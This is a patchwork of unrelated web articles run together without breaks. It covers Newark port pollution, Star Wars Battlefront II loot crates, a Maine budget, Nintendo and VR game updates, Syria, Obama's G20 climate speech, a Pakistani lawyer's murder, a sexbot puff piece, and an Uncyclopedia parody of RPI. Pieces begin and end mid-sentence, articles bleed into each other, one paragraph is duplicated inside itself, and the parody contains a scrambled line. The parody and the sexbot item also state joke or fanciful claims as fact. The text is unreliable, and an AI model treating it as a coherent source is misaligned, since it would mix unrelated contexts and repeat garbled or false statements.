The trucking companies, meanwhile, own no trucks and have very few employees; they have remained one of the most vocal forces against the truck ban, wary of the opportunity it would give organized labor. (In Los Angeles, the city collaborated with the Teamsters Union to form a new, “green” trucking competitor, EcoFlow, to operate at the port.) Ana Baptista, a professor of environmental policy and sustainability management at the New School, says the carriers’ refusal to chip in is the chief reason the plan failed, and the Port Authority did nothing to require them to do so. By last year just one in ten trucks that regularly used Port Newark were newer than 2007; some of the replacements purchased with the loans and grants weren’t even up to 2007 standards. The Port Authority had been directly subsidizing noncompliance.
“Under the plan, the burden for paying for the new trucks was shifted to the most vulnerable members of the supply chain: the independent truckers themselves,” says Baptista.
But as Fred Potter, director of the Teamsters Port Division, explains, “The industry should bear the cost of this; the Walmarts, Home Depots, and the shippers that use these trucking services should be paying for it. At this moment, only 9 percent of the trucks that regularly use the port are 2007-EPA compliant. Just what did they spend all that money on?”
When staffers in the Christie administration ordered closure of traffic lanes on the George Washington Bridge in 2013, the ensuing scandal exposed, once again, the famously political nature of internal dealings at the Port Authority. Besides becoming fodder for national headlines and torpedoing the governor’s presidential ambitions, Bridgegate demonstrated just how involved Christie’s apparatchiks were in the operations of the authority, an agency established to be above political influence in order to serve the interests of two states at once. Following a lengthy investigation, both the New York and New Jersey state senates crafted a restructuring of the authority to make it far more transparent and accountable to the states’ non-executive officials. In a midnight veto, Andrew Cuomo and Christie shot down the legislation. A final reform bill has yet to materialize.
Amid the political turf war, there had been rare glimmers of hope. In mid-2015, the Port Authority appointed a new commerce director, Molly Campbell, who’d helped oversee Los Angeles’ clean truck program. It was an encouraging sign for clean air advocates, who met with Campbell in the fall and were told the replacement program would continue as they approached the 2017 deadline.
Then Campbell reneged. When the program was cut, activists were given little warning; the Port Authority didn’t even notify the EPA. After canceling the program, Campbell and her staff announced a new, drastically weaker one: The truck ban only extends to pre-1995 models, and the deadline for compliance was pushed back to 2018. The agency did solicit public comment for the new program, which went into effect in March, but unlike other state agencies the Port Authority is not obliged to respond to or incorporate that input. (“We welcome any workable environmental solutions that will further benefit the port community as a whole,” Campbell said in a statement to the Voice. “Our door is always open.”)
Meanwhile, Tanisha Garner is still in the Ironbound, worrying. She and a few other locals are conducting a tour of sorts, pointing out where Sandy sent toxic water cascading through the neighborhood after the Passaic overflowed. Alexi Martinez, a 25-year-old student who has lived in the Ironbound his entire life, remarks that many of his friends carry inhalers. It wasn’t until he started working with the Ironbound Community Corporation that he discovered why.
“Learning about our problem here is going to be our best hope at solving it,” Martinez says. “Just going down to the port for the first time a few months ago was mind-blowing for me. There’s just so many trucks idling, so much pollution, trucks just chilling there for hours.”
As he speaks, truck after truck slowly makes its way through traffic, trailing exhaust. Kids run across a busy street to play with the wary chickens in a community garden. Nearby, an entire alley is filled with murals: One depicts a figure crouching in a gas mask, surrounded by garbage and smog.
Garner hopes it doesn’t have to end up like that. She’s committed to staying in the neighborhood, even if it means she and her neighbors have to keep pressuring the Port Authority to keep its promise to them. “How can we effect any change when everything is political games?” she asks, pointing to a passing truck. “We’re the ones breathing this air.”
Listen to writer Max Rivlin-Nadler speak in depth about why the Port Authority scaled back its truck emissions program on WNYC:
Listen to writer Max Rivlin-Nadler’s conversation with ProPublica about the Port Authority:
[Editor’s Note: An earlier version of this story on high levels of pollution in Newark’s portside communities incorrectly identified Weequahic, one of the city’s southside neighborhoods, as predominantly white. The community is predominantly black, according to the most recent census data. Nevertheless, though Weequahic is only a few miles farther from Port Newark than the Ironbound is, the concentration of exhaust there is dozens of times lower. The Voice regrets the errors.]GIF
Star Wars Battlefront II has everything you love from the movies: lightsabers, starfighters, and loot crates. These crates are crucial to the game’s multiplayer structure but even after being tweaked in response to widespread criticisms during the beta, they’re a mess that affects balance in negative ways.
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Battlefront II ’s progression system is tied to equippable items called Star Cards. These cards grant special bonuses, such as increased health and faster ability cooldowns. Some cards have highly specific bonuses: for instance, you can equip the Tactical Jammer card to your starfighter and it will increase the length of time it takes for enemies to lock onto you. Each star card also has a rarity level. This means a rare “blue” star card will grant a bigger bonus than the lower “green” card. After widespread negative responses to the game’s beta and accusations that the game would be “pay to win,” the developers Battlefront II’s progression system is tied to equippable items called Star Cards. These cards grant special bonuses, such as increased health and faster ability cooldowns. Some cards have highly specific bonuses: for instance, you can equip the Tactical Jammer card to your starfighter and it will increase the length of time it takes for enemies to lock onto you. Each star card also has a rarity level. This means a rare “blue” star card will grant a bigger bonus than the lower “green” card. After widespread negative responses to the game’s beta and accusations that the game would be “pay to win,” the developers removed the most powerful tier of cards from crate s. You can now only get those cards from crafting them or completing in game achievements.
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The main way you get the non-epic cards is through loot crates. There are three kinds of crates: one for soldier abilities, one for ship abilities, and one for hero abilities. These crates will randomly grant star cards when you open them. To get crates, you can either play matches to earn a generic currency called “credits” you can spend real world money for a premium currency called crystals.
Prices for loot boxes as of yesterday. It takes far less crystals than credits to open a new new box.
It is also possible to craft new cards and upgrade any you already own with crafting parts, which are also found in loot crates. In order to limit players from immediately crafting epic cards, each upgrade has two requirements: you must be at a certain player rank and the class must be at a certain card level.
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This is where is all really starts to break down. A class’s card level is based on the number of cards you have; the more cards you own, the higher your level will be.. So it’s possible to boost your levels simply through purchasing crates. If you do that, the only thing that will prevent you from crafting the best cards is your player rank, which is increased by playing multiplayer matches and rises at a brisk pace.
But you don’t even have to play that many matches to use the best stuff. If you manage to find a card of a rarity higher than what you can craft, you can still equip it. Rank and card level requirements only prevent players from upgrading their cards. They do not stop players from equipping rare cards. For instance, I received a blue card for my rocket trooper that granted increased health regeneration. I could equip it right away even though my player rank was too low to craft blue cards
A rare card I received from loot boxes. While I can’t craft blue cards, I could still equip this one.
Let’s say someone spends $99.99 for a ton of crystals and opens all of their crates. By the end of that process, they will likely have acquired a few rare cards that grant noticeable bonuses and give them a competitive edge. They will also increase their card levels for their classes, removing one barrier for crafting upgrades. Throughout that process, they will also get countless crafting parts to stockpile. The only thing that prevents them from crafting the best cards is their player rank. They will spend a handful of hours in multiplayer matches, already equipped with better cards than other players, and quickly increase their rank. If they’ve planned ahead and have enough crafting parts, they will immediately be able to craft the best cards in the game.
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In other words, you can quite literally pay money for statistical advantages in Star Wars Battlefront II.
Given an infinite amount of time to grind credits and purchase loot boxes, everyone could have epic cards and Battlefront II could be perfectly balanced. Unfortunately, players are not ageless orbs with nothing to do but play Battlefront. (Well, most players.) When you only have so much time to play and other players can get an advantage from buying crates, the temptation to spend money and get some of your own will be high.
AdvertisementFresh off the social media storm of the century, Dane Reynolds’ wildcard spot in the upcoming Hurley Pro at Lowers may now be in jeopardy. Reynolds hurt his wrist surfing Wednesday at Macaronis in the Mentawais, and is currently headed home to the U.S. for X-rays and the eventual diagnosis. With the Hurley Pro’s waiting period starting next Sunday, Sept. 15, the results of the scans will have an immediate impact on Reynolds and the event.
Reynolds’ trip to Macaronis with Nat Young and Andrew Doheny was cut short six days early because of the injury. The boys arrived the evening before the best forecasted swell of the year for Indo; after a few marathon sessions over the first couple days, Reynolds threw a backside air and landed with his hand caught between his board and his leg. Initially, Reynolds thought a day’s rest might be enough, but he tried to paddle the next day and knew he was done. He booked an appointment with a specialist in California and started his trek home.
There’s currently no speculation as to the severity of the injury, nor to what would happen to his Hurley Pro wildcard spot were Reynolds to withdraw. More details to come.AUGUSTA, Maine — Gov. Paul LePage’s finance commissioner presented lawmakers with an additional supplemental budget for state government that further cuts spending but also includes tax breaks for certain businesses, retirees and members of military.
The budget, presented by Sawin Millett on Tuesday, would slash general assistance reimbursement to service center communities such as Bangor, Portland and Lewiston and would eliminate all public funding for the Maine Public Broadcasting Network.
Finance Commissioner Millett told members of the Appropriations Committee that the $37 million budget bill at one point was much bigger but, “many of the most controversial items were stripped.”
That prompted Rep. Peggy Rotundo of Lewiston, the lead Democrat on the committee, to reply: “I can only imagine what it would have looked like.”
The budget cuts $37 million from the $6.1 billion biennial budget for 2012-13 that passed last year, but it also includes $37 million in new spending. So, essentially, the bill is revenue neutral, but, in fact, $14 million was cut from the budget to address a revenue shortfall announced recently.
Adrienne Bennett, the governor’s spokeswoman, said the proposal represents a reprioritization in certain areas.
Tax exemptions for wood harvesting equipment, for instance, match exemptions that already exist for equipment used in fisheries and agricultural industries.
Additional exemptions from income taxes are proposed for retirement income. Beginning in 2014, the state also would exempt military pay for service out of state from Maine income taxes.
“We want to encourage people who are stationed out of state to come back to Maine when they’re done,” Bennett explained.
But Rotundo said many of the tax breaks don’t go into effect until 2014 and they are not paid for.
“I think it makes people feel good to say ‘look, we passed this tax break,’ but all it does is leave a hole in the budget,” she said.
Sen. Richard Rosen, R-Bucksport, co-chair of Appropriations, said he suspected that there will be some pieces that “don’t sit well” with people, but it addresses areas that have been over budget and identifies new spending priorities. Among those, he said, was funds to increase security at courthouses, something Maine’s Chief Justice, Leigh Saufley, has asked for for years.
Lawmakers were not presented Tuesday with the printed budget, as expected, but instead received an overview from Millett.
The Appropriations Committee likely will get more information on Wednesday, but it wasn’t clear Tuesday when the printed budget bill would be made available.
“These are sweeping changes but [we] are still trying to get a sense of the impact,” Rotundo said. “There isn’t a lot of information here for the public.”
Public hearings in the budget bill are tentatively scheduled for Monday, Tuesday and Wednesday of next week. Sen. Dawn Hill, D-York, said the Appropriations Committee can’t begin work on the bill until after that, so that doesn’t give lawmakers much time to debate the proposal.
“We are long on work and short on time, that’s for sure,” Rosen said.
Some of the elements in the supplemental budget — specifically cuts to general assistance and MPBN — were initially included in the governor’s biennial budget proposal last year. Both were restored to the spending plan.
Asked Tuesday why the governor was proposing cuts that were rejected less than a year ago, Bennett said “the current general assistance system encourages spending. It’s not sustainable.”
Asked about MPBN, Bennett said the governor believes the public radio and television station should be funded by advertisers, not taxpayer dollars.
Hill said she was flabbergasted to see the $1.7 million cut to MPBN included, particularly in light of the fight last year. She also criticized the fact that some elements of the budget proposal are not really related to the budget at all.
“These budget bills have become like a dumpster to throw everything into if they can’t get passed on their own,” she said.
But Rosen said last year’s debate over MPBN sent a signal that the organization should begin looking for other sources of funding for its programming.
The supplemental budget proposal comes only a couple weeks after lawmakers made final a $145 million supplemental spending plan that dealt with a big shortfall at the Department of Health and Human Services. That budget only dealt with the 2012 fiscal year, which ends in June.
Lawmakers still have to deal with a DHHS shortfall for 2013, estimated at $85-$90 million. That process is now delayed after last week’s revelation that 19,000 MaineCare recipients were on the rolls to receive benefits they were not eligible for because of a computer glitch.
The proposed supplemental budget is available online at: http://www.maine.gov/budget/budgetinfo/2012-13SecondSupplemental.htm.Share:
Nintendo Switch update brings video capture and more
The latest system update (4.0.0) for the Nintendo Switch™ console is here, bringing with it the ability to record 30-second video clips and share your great gaming moments with friends.
To capture video in compatible games, hold down the capture button during gameplay. This will create a video clip of the last 30 seconds. You can then view the saved videos in your album, trim the beginning and end of each clip, and post videos to your Facebook page and Twitter feed.
Currently you can use this feature in the following games:
The Legend of Zelda™: Breath of the Wild (version 1.3.0 and later)
Mario Kart™ 8 Deluxe (version 1.3.0 and later)
ARMS™ (version 3.1.0 and later)
Splatoon™ 2 (version 1.1.1 and later)
The system update also includes:
New profile icons featuring characters from the Super Mario Odyssey™ game and The Legend of Zelda: Breath of the Wild game (check out all the mustaches).
The ability to transfer user profiles and save data to another Nintendo Switch system. You can find this feature in System Settings --> Users --> Transfer Your User and Save Data.
A pre-purchase option is available for certain games on Nintendo eShop for Nintendo Switch. This option also lets you pre-load the digital version of a game to your device, so you can play right away when the game is released. (The pre-downloaded game won’t be playable until its official launch.)
Additional adjustments and features for a more pleasant user experience.
If your Nintendo Switch is connected to the internet, it will download the update automatically. You may also start the update from the System Settings menu, if needed. For the full list of updates, please visit support.Gun emplacement opened for first time in decades as part of war history exploration at Mount Tomaree
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A gun emplacement that was used to defend the New South Wales coastline during World War II has been opened for the first time in three decades, as part of ongoing projects exploring military sites in the state's Port Stephens region.
Charles Tennyson and Mark Rawson are working with local and state government agencies to explore abandoned military sites at Nelson Bay and Mount Tomaree, with the hope of increasing community knowledge about local war history.
Mount Tomaree is the southern head of Port Stephens, and was a key defensive position during the war.
Today the mountain features walking trails that rise to lookouts with spectacular views, and is part of the Tomaree National Park.
But at the height of WWII, the site was crawling with military activity.
Built in 1941, Fort Tomaree, as it was known, housed gun emplacements, search lights, radar facilities and torpedo tubes.
Australian and United States forces were in Port Stephens during the war, and the mountain played an important role as a base for troops to continuously scan the horizon, watching and waiting for a coastal attack from the enemy.
There were two main 152mm gun emplacements on the mountain, which today are derelict and shut off from the world.
On the hunt for tunnels under Mount Tomaree
Mr Tennyson and Mr Rawson are investigating whether a secret US military bunker lies hidden beneath nearby Fly Point at Nelson Bay.
When the men heard about the Mount Tomaree gun emplacement, they decided to get permission from the National Parks and Wildlife Service (NPWS) to enter and explore the gun positions.
"We were fairly certain there'd be some sort of underground tunnel system through Tomaree," Mr Rawson said.
"It became relatively obvious that if you've got a gun position with six-inch shells, and if you've got torpedos, you don't normally store them above ground, because that just makes them a target.
"When we enquired about Tomaree, we found out that NPWS knew very little about it.
"They knew it was a gun position, and historically it's important, but they didn't seem to know much else, and they had no maps, no plans, or anything of that nature.
"Given that we were already on site at Nelson Bay, we asked them if they would like us to try and locate the tunnel systems and map them out.
"They were more than happy for that, as that just adds to their information base on the historical site."
Unsealing the doors
The door to gun emplacement one had been welded shut, a decision believed to be due to vandalism incidents in the 1980s.
Mr Tennyson, who was on hand to explore the emplacement, said it had not been opened in decades.
"Those doors have been welded shut for about 30-something years," he said.
"So we were able to get in those, have a bit of a geez inside to see what they had to deal with.
"Like in the Indiana
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to Sawran, which is the frontline now next to Azaz, but we had info of the operation," one man who works for opposition forces in Azaz told VICE News. "So they targeted the truck with a missile…. Then the fighters following the truck were caught."
At least some of those fighters were subsequently beheaded.
"It is not the way we act," the man said, "but it's sort of revenge for all the civilians and leaders they killed."
Related: The Islamic State Is Here to Stay
Videos posted to Facebook Friday morning appear to show rebels — some of whom are Islamists themselves — brandishing the heads of the dead men in front of a jubilant crowd as people fire guns into the air. Displaying the heads in central Azaz has symbolic meaning; during several months of IS — then known as ISIS — rule in 2013, the group would execute people on Fridays and display their heads at the same location, according to locals.
In January 2014, a coalition of mostly Islamist fighters drove out IS from much of Aleppo province and the corridors leading to Aleppo city. Since then, Azaz and most of opposition-controlled Aleppo have been a stronghold for anti-IS rebels. The Islamic State has made reclaiming this lost territory a key goal and launched a series of suicide attacks against Azaz in an apparent attempt to recapture it. A video posted last week to an IS-affiliated Youtube account appears to show fighters preparing an assault to retake the city.
Azaz is a main artery for equipment and supplies traveling between Turkey and Syrian rebels, as well as the start of an important humanitarian supply line between Turkey and Aleppo. The recapture of Azaz by IS would effectively cut off a substantial number of rebels opposed to the group.
A video was also posted today on the Facebook page of Furqa 13, a Free Syrian Army battalion, that appears to show the group destroying an IS vehicle with a US-built TOW missile outside Azaz.
Follow Patrick Hilsman on Twitter: @PatrickHilsmanUS president says every nation has a responsibility to do its part and ‘overcome old divides, look squarely at the science and reach a strong global climate agreement next year’
Barack Obama has stared down both Republican hostility at home and the reluctance of his Australian G20 hosts to insist that the world can clinch a new climate change deal next year.
The president used a speech on the sidelines of the G20 in Brisbane, Australia, to confirm what was revealed by the Guardian on Friday: that the US would be contributing $3bn to the Green Climate Fund that aims to help developing nations cope with the effects of global warming.
And he insisted nowhere had more to lose from rising temperatures than the Asia Pacific region and Australia in particular.
“No nation is immune and every nation has a responsibility to do its part,” Obama said. “You will recall at the beginning I said the US and Australia has a lot in common. Well one of the things we have in common is we produce a lot of carbon … which means we’ve got to step up.”
In the backrooms of the G20 meeting, Australia was continuing to resist language in the official communique encouraging countries to make pledges to the Green Climate Fund, but to a rousing reception at a local university, Obama announced the $3bn US commitment.
Obama said the new funding would help vulnerable communities with early-warning systems, stronger defences against storm surges, and climate-resilient infrastructure, while supporting farmers to plant more durable crops.
He hailed the deal he struck in Beijing on Wednesday, saying China’s pledge to ensure its carbon emissions peaked by 2030 was historic.
“The reason that’s so important is because if China as it develops adapts the same per capita carbon emissions as advanced economies like the US or Australia, this planet doesn’t stand a chance because they’ve got a lot more people,” Obama said.
“So them setting up a target sends a powerful message to the world that all countries, whether you are a developed country, a developing country or somewhere in between, you’ve got to be able to overcome old divides, look squarely at the science and reach a strong global climate agreement next year.
“And if China and the US can agree on this then the world can agree on this, we can get this done and it is necessary for us to get it done.”
Obama faces domestic political challenges implementing greater curbs on greenhouse gas emissions in the US after the Republicans won control of both houses of Congress in mid-term elections last week.
Mitch McConnell, who will take over as the majority leader of the Senate, has called the China deal part of Obama’s “ideological war on coal” and signalled that Republicans would seek to ease the burden of power station emission regulations.
The Australian prime minister, Tony Abbott, told G20 counterparts earlier on Saturday they could raise any issue they liked during the leaders’ retreat.
Abbott has previously resisted calls to make climate change a substantive agenda item at the G20, arguing the summit should focus on economic issues including increasing global growth.
Abbott himself referred to his government’s domestic policies, including the abolition in July of Australia’s carbon pricing scheme, when he spoke at the leaders’ retreat.
Obama struck a markedly different tone in his speech to students and invited guests at the University of Queensland.
“I know that there has been a healthy debate in this country about it,” the president said. “Here in the Asia Pacific nobody has more at stake when it comes to thinking about, and then acting on, climate change.
“Here a climate that increases in temperature will mean more extreme and frequent storms, more flooding, rising seas that submerge Pacific Islands.
“Here in Australia it means longer droughts, more wildfires. The incredible natural glory of the Great Barrier Reef is threatened. Worldwide this past summer was the hottest on record.”
Obama said he had not yet had time to go to the Great Barrier Reef, but he wanted it to be protected so his daughters and generations to come could see the natural wonder.
The president made a direct pitch to young people in the audience, urging them to speak up in support of strong action on climate change because they deserved to inherit a clean, healthy, sustainable world.
He said it was natural “that those of us who start getting grey hair are a little set in their ways” and had entrenched interests. Companies had made investments in certain energy sources, the president said, so change could be “uncomfortable and difficult”.
“That’s why it’s so important for the next generation to be able to step in and say, you know, it doesn’t have to be this way,” Obama said.
Earlier on Saturday the UN secretary general, Ban Ki Moon, said he had been briefed that the leaders were actively discussing the issue of a climate change, which he nominated as “the defining issue of our times” and therefore a natural topic of G20 discussion.
He called on the G20 to “take a lead” on climate and urged G20 countries to make “ambitious pledges” to the Green Climate Fund.
China is the biggest emitter of greenhouse gases in the world. Its deal with the US, the second-largest emitter, has been seen as building momentum for strong post-2020 targets to be agreed at a UN climate conference in Paris next year.
China’s vice minister of finance, Zhu Guangyao, told reporters at the G20 on Saturday that China would work hard to ensure its emissions peaked before 2030. He said that if the Chinese economy developed too fast for the environment to sustain “we must make adjustments to our policies in a timely way so we can minimise the impact on our environment”.[JURIST] The former lawyer for the Pakistani doctor who helped the US find Osama bin Laden was shot dead on Tuesday after facing death threats for the representation of his ex-client. Lawyer Samiullah Kahn Afridi was shot [Reuters report] while returning to his Peshawar home. Two Pakistan militant groups, Taliban faction Tehrik-e-Taliban Pakistan Jamaatul Ahrar (TTP-JA) and Taliban splinter group Jundullah, have claimed responsibility for his death. Both groups cited Afridi’s prior representation of Dr. Shakeel Afridi as the reason for the killing. TTP-JA spokesman Ehsanullah Ehsan stated, “Samiullah Afridi had represented his case. That’s why we decided to eliminate him when we can’t approach Dr Shakeel.” It remains unclear which of the groups actually carried out the attack.
Afridi ended his representation [JURIST report] of the Pakistani doctor last May after receiving threats from militants. In a statement to the Associated Press, the lawyer said that he had received a “final” warning from militants. While he had been representing Dr. Shakeel Afridi on humanitarian grounds, Afridi stated that it was not possible for him to continue as he had been warned to “either quit the case or be ready to face the dire consequences.” The lawyer also said that pressure put on Pakistan by the US for his client’s release following his conviction [JURIST report] for providing money and medical treatment to Islamic militants in the Khyber trial region also hurt him. While both the doctor and his lawyers have denied helping the CIA, US lawmakers have confirmed his role in the hunt for bin Laden.The US presidential election on 8 November could have grave implications for Australia’s security. The next US president may retreat into international isolationism.
If President Trump wins there could well be serious consequences for our crucial alliance relationship with America and for our regional security partners, such as Japan. A President Clinton would be preferable for Australia in foreign and defence policy terms, but she’ll have a major battle on her hands at home with the economy and a dysfunctional Congress.
Both presidential candidates have serious personality shortcomings. Neither of them is well liked by the American people. The opinion polls are showing them to be neck and neck. Much will depend upon the voter turn-out on Election Day in a country where voting isn’t compulsory.
If Clinton is elected, her foreign and defence policies in terms of using US power and standing up to Russia and China may be more decisive than those of her predecessor, Barack Obama. But Clinton’s priority will be to repair damage domestically to the institutions of government and this will mean an inward looking America.
The centre of gravity of US opinion has been shifted by the Trump candidacy and there will be an enduring effect politically, even if he loses. There’s anger about state of the economy, the damage to traditional jobs caused by countries such as China, and yawning gaps in standards of living.
A President Trump may prove to be an isolationist and a destroyer of alliances. Former US Secretary of Defense, Robert Gates, describes Trump as unqualified and unfit to be commander-in-chief. He says that Trump is stubbornly uninformed about the world and ‘temperamentally unsuited to lead our men and women in uniform’.
Some 50 national security and foreign policy officials, who served in Republican administrations dating back to President Nixon, have also issued a statement describing Trump as lacking self-control and acting impetuously. They state that Trump ‘has alarmed our closest allies with his erratic behaviour’.
Canberra will be relieved if the election in November results in Hillary Clinton becoming President of the United States. She’s well known in official circles in Canberra from her time as Secretary of State. She’ll be seen as reassuringly orthodox and American foreign policy will hopefully be reset to ‘normal’. She’ll be expected to support robust alliances and intervention in important instances when the US led global order is challenged.
However, whether she’ll rebuild a strong US military and support free trade, as distinct from protectionism, remains to be seen. There may be modest hope that the Trans-Pacific Partnership (TPP) agreement could be rescued through a deal in which congressional opponents get some compensation outside the scope of TPP, but that’s a long shot.
Clinton would be the more reliably sensible and policy trustworthy president from Australia’s perspective. Importantly, the pivot or rebalance of the US presence in Asia was essentially an idea that she and Kurt Campbell came up with. Campbell is likely to be influential in a Clinton administration.
The implications of a Trump administration are much more difficult to predict. But one thing is certain: he’s determined to make radical changes in how Washington is governed and to rebuild America and ‘make the US strong again’. He stresses the need to build jobs, reject free trade and immigration, and make US allies (including Japan and South Korea) pay more for their defence. That’s not good news for Australia.
Former Australian ambassador to Washington, Kim Beazley, asks where Australia is to begin to work with a victor in the presidential race who has trashed the the alliance system and liberal international rules-based order that have underpinned American leadership since 1945 during the campaign.
Others have confidence that the US constitutional system of checks and balances will counter Trump’s worst excesses. However, a US President has many powers to mount negative initiatives. He can undermine confidence among allies that he’ll initiate actions to support them, and he can use the broad license of US trade laws that give an American president powers to pursue punitive action against trade partners.
If Trump wins, it’ll be crucial from an Australian perspective to immediately bring our concerns to bear with the new administration. That should focus on the critical nature of our alliance with the US and the importance of American commitment to a forward military presence in Asia. But we also need to think through a worst-case contingency that involves the very future of the ANZUS alliance and our trust in America. The potential for a disaster in the relationship shouldn’t be dismissed.
Regardless of who wins, we’ll see more intense polarisation in Washington and continuing savage political struggles. That’ll make it more difficult for a middle-sized power like Australia to gain traction. Our life will be harder.170 SHARES Facebook Twitter Linkedin Reddit
Cyan’s spiritual successor to Myst is launching with all-new motion control support on March 22nd for HTC Vive and Oculus Touch. The game originally released on Steam in August 2016, receiving initial VR support for the Rift in October.
Following in the legendary footsteps of Myst and Riven, Obduction presents an ideal VR setting, taken at a slow pace, encouraging players to study the environments carefully, finding clues to solve puzzles in a curious new world. The original VR support for Oculus Rift began as a stretch goal during the game’s 2013 Kickstarter campaign, and arrived in October 2016, a couple of months after the standard game launched on Steam. The game received a free update and launched on the Oculus Store at the same time, and was praised for its visuals and puzzle diversity.
Using the ‘blink’ teleport feature, the game feels the most like Myst, although a freeform movement with snap turning was also available, which was then updated in November to include a smooth turning option for those unaffected by this contributor to VR sickness. Since then, Cyan have focused on bringing the experience to other headsets, announcing the game would come to PlayStation VR and HTC Vive in 2017, with the major addition of motion controller support.
The new version arrives on HTC Vive and Oculus Touch on March 22nd on Steam, GOG, Humble Store, and the Oculus Store for $29.99. Existing owners will receive the update for free. Motion control should be a perfect fit in a game scattered with detailed objects to study, and involves extensive button and lever interactivity.
“We have over 200,000 fans on our Steam wishlist, many who have been asking for hand controls for Obduction. As a VR-centric studio, we’re thrilled to be delving even further into these platforms, bringing ever deeper immersion to our worlds and pushing the edge of what’s possible”, says Rand Miller, CEO, Cyan.
Visitors to PAX East this weekend will have a chance to preview the Oculus Touch version in the Indie MEGABOOTH, and there is a further opportunity to try the game at the Indie Corner of the SXSW Gaming show floor, from March 16th to 18th, 12-8pm at the Austin Convention Center, Exhibit Hall 2 – plus Rand Miller will be taking questions on the SXSW Gamer’s Voice stage at 7:45pm on March 17th.Literature played a strong role in our holiday seasons this year. Many (if not most) playhouses performed their version of A Christmas Carol. Children listened to recitations of ’Twas the Night Before Christmas and storytime readings of How the Grinch Stole Christmas! And we can’t forget ballet performances based on the famous story The Nutcracker and the Mouse King.
Other mediums also pumped up the holiday spirit. Movies have recreated literary classics and other films generated new Christmas tales. Traditional carols were sung alongside holiday-inspired tunes on the radio. And there were television specials dedicated to the season by celebrating these songs and stories.
But Christmas isn’t the only holiday that literature celebrates. Halloween haunts stories like The Legend of Sleepy Hollow and Something Wicked This Way Comes. Historical retellings encompass honorary days: Columbus landing in the New World, the feast between pilgrims and Native Americans, Martin Luther King Jr.’s leadership in the Civil Rights Movement, the thirteen colonies declaring independence from Great Britain.
And, of course, there are movies for these holidays as well. Like that one comedy that celebrates a groundhog again and again and again.
Sometimes we read books that incorporate elements of a holiday around that designated day. Irish folklore is retold on St. Patrick’s Day, stories of rabbits and chickens are read on Easter, and accounts or stories about wars and battles grab our attention around Memorial Day and Veterans Day.
Does literature have an impact on how we celebrate our holidays?
We nickname those that lack Christmas spirit with the name Scrooge and mock them with the phrase, “Bah, humbug!” We decorate our homes with festive nutcrackers. We even nickname those that try to spoil the holiday with the name Grinch.
And we quote our favorite lines from our beloved Christmas movies.
Some genres that never mention a holiday are still honored on holidays. Horror fiction and gothic novels are celebrated around Halloween because both books and holiday share the same scary mood. Romance novels are read around Valentine’s Day and Sweetest Day because they all share the same romantic mood.
Sometimes literature is read not because it mentions the holiday, or even our traditions of the holiday, but because it shares the same emotions that we feel on these designated days.
Literature in itself has become part of our holiday traditions. After we decorate our houses and windows with iconic images of literary characters and settings, we read books and sing songs and watch movies that intensify our anticipation for the holiday.
In other words, we have traditions of reading specific books around specific seasons year after year after year. These stories that we know by heart still evoke memories of holidays past that we still cherish.
If only a handful of books and stories have contributed to our holiday traditions, why aren’t there more holiday books?
Writing for the holidays means that the writing is read only around the holidays. That’s probably a month’s span of time where the reader will have any interest in the writing. The writing will sit on dusty shelves for the other eleven months and not make money.
But, then again, the writing is read around the holidays. It will be read every holiday, year after year. Around the holiday, your writing will be brought to the front of bookshelves, moved to the top of recommended reading lists, and shared around the Internet.
Not only will the writer’s work get annual attention, but the writer also has an opportunity to shape future holidays with the written word. A character can become the next holiday icon or nickname. A plot action can become the next holiday tradition. A writer’s name might become synonymous with the holiday.
Do you have a story worth becoming a tradition?Sex With Robots Good For Health
According to Hank Hyena, author of h+ Magazines article, Sexbots Will Give Us Longevity Orgasm, sex with robots has perks.
Sexbots of the future which could arrive as early as 2011 will be programmed to pleasure humans to the max and be entirely compliant in bed.
Hyena thinks the machines will be so skillful, theyll be able to give humans mind-bending orgasms.
This is a huge health benefit since research shows that people look younger and live longer if they have consistent orgasms.
Having a robot sex partner may also help humans get better at doing the deed themselves.
Hyena figures that shy, awkward folks can practice with sexbots and iron out all the kinks until they become great lovers.
Although sexbots will be ideal partners, Hyena doesnt believe in marrying them. Boinking them should be enough.Rensselaer Polytechnic Institute RPI hockeystick-toting puck mascot Motto Semper Caelebs (Always Celibate) School type Private Location Gangland, New York, U.S. Campus Urban, no parking Endowment One check, written by Richard Nixon, for "All the money on Earth"
Rensselaer Polytechnic Institute, or The 'Tute is a private university in Troy, New York. RPI is widely known as a ball-buster school, a phrase that speaks both to the difficulty of the curriculum and the gender composition of the Institute. The school, despite false advertising in the form of pamphlets sent to blissfully unaware college-bound high-school students, is actually about 70% male and 30% female. RPI students are famous for their hard-bitten cynicism, Herculean tolerance for alcohol, and deep-green color, which they gain via secret rituals involving isotopes.
Contents show]
History Edit
"Rippy" takes its title as the oldest tech school in America (apart from some tech schools on the other side of the river) as a badge of pride. The school's mission is to promote "the proper application of stupidity to the common purposes of life." It takes credit for every technological feat of the past century, including the Moon Landing and Skynet.
Amos Eaton conducted an experiment to establish an all-female school in Troy, NY in late 1824, but his experiment went horribly wrong and what escaped from his lab was an engineering school that was destined to become all-male as surely as the Fourier transform decomposes functions into a frequency spectrum. The first classes were held in a sausage factory until the move into less tasty facilities on top of the largest hill that could be found, where buildings were constructed from calculus textbooks and cemented with pure misery and despondence. Since that auspicious beginning, the school grew to include new dorms and, when females did eventually arrive at RPI, the Greene Building, where all of the girls are taught and, not at all coincidentally, where the architecture program makes its home.
Academics Edit
The University of Chicago has an unofficial saying that "this is where fun comes to die." This is, of course, a load of bullshit. Fun goes to U Chicago for a vacation to get away from nearby Cleveland. RPI is a veritable fun-Buchenwald. The science of funnihilation at RPI has been so completely perfected that an entire school has been devoted to its dissemination among the student body and the world at large. This school is the School of Engineering. Here students can study various methods of fun annihilation- most notably electrical, nuclear, aeronautical, and mechanical.
without comedic tastes, the "questionable parody" of this website called Rensselaer Polytechnic Institute. For thosecomedic tastes, the "questionable parody" of this website called Wikipedia have an article very remotely related to
There is also a School of Management, where mark-ass bitches that wash out of the harder programs can come and still get a degree. Moving from a fun-annihilation degree to a degree in management is generally known as "Boarding the M-train", or "averting your own premature death by overwork and crushing depression." For those in the harder schools, there is still solace. Booze and anime are popular pastimes among the student body, the amount of booze consumed usually being proportional to the square root of the absolute value of the quantity (GPA minus 2).
The 'Tute Screw Edit
The 'Tute Screw is a metaphorical screw that goes in regardless of the direction of torque applied- in other words, whichever way you turn it. It is used to refer to several ailments that afflict RPI students- namely hard classes, inept administration, expensive cost of attendance, lack of girls, and a whole rogue's gallery of other shit. The truly unique aspect of this screw is that it can never be removed or taken out even a little bit- the longer you stay, the further in the screw goes.
